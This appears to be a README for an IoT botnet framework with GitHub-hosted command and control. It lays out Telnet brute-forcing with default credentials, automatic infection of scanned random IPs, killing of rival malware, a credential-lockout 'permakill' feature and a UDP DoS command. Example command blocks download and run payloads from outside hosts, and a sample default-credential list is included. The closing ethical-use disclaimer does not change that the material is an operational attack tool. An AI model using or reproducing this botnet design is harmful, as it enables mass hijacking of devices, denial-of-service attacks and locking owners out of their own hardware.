- C2 over GitHub raw links (multiple fallback READMEs)
- Brute-force login over Telnet
- Killer module that removes other malware
- "Permakill" feature: changes device login credentials
A IoT botnet framework controlled via multiple GitHub
README.mdfiles. Supports brute-force propagation, malware killing, and credential lockdown.
you have to edit the .py files and confiure them snotscan for finding devices serialkiller for killing other nets permakill patches all devices with your own credentials save them securly thefinalbop puts your payloads into the server openssh.py is a bot for controlling devices using github Readme.md configure your links inside the code
- 📦 Command & Control via multiple GitHub
README.mdfiles - 🔁 Fallback Mechanism: rotates through GitHub links until a working
### runsection is found - 🕷️ Brute-Forcing Engine: cracks Telnet devices using default credentials
- ⚔️ BotKiller Module: terminates known malware processes and ports
- 🛡️ Permakill Mode: replaces Telnet credentials to block re-infection
- 🚀 Async-Driven: high-speed, concurrent scanning and infection
Each C2 GitHub README.md must include a ### run section:
### run
cmd echo Bot active on device
download http://malic.io/payload.sh /tmp/payload.sh RUN
dos 192.168.0.10 80 30
Supported Commands:
| Command | Description |
|---|---|
cmd |
Executes shell commands |
download |
Downloads and optionally runs files |
dos |
Performs a basic UDP DoS attack |
permakill |
Changes device credentials to block access |
selfkill |
Terminates self on the device |
Provide a text file like creds.txt with lines:
admin:admin
root:1234
user:password
bot.py # Main infection and C2 logic
brute_force.py # Telnet brute-forcing
killer.py # Process killer module
permakill.py # Changes credentials after install
github_c2.py # C2 polling from multiple README.md links
creds.txt # Default credential pairs
readmes.txt # List of GitHub raw README.md C2 links
hits.txt # Infected and confirmed targets-
Loads GitHub
README.mdURLs fromreadmes.txt -
Finds the first with a
### runsection -
Executes each command listed
-
If
bruteis enabled:- Scans random IPs
- Brute-forces Telnet with
creds.txt - On success, runs
bot.pyon target
-
Kills competing malware using
killer.py -
Replaces device credentials with
permakill.py(ifpermakillenabled)
### run
cmd uname -a
download http://your.c2.net/bin/armv7 /tmp/a RUN
permakill newuser:newpass
This project is intended only for:
- Ethical hacking education
- Red team exercises in controlled environments
- Simulated botnet defense training
Unauthorized use will violate criminal law. Always obtain explicit written permission before testing networks or devices.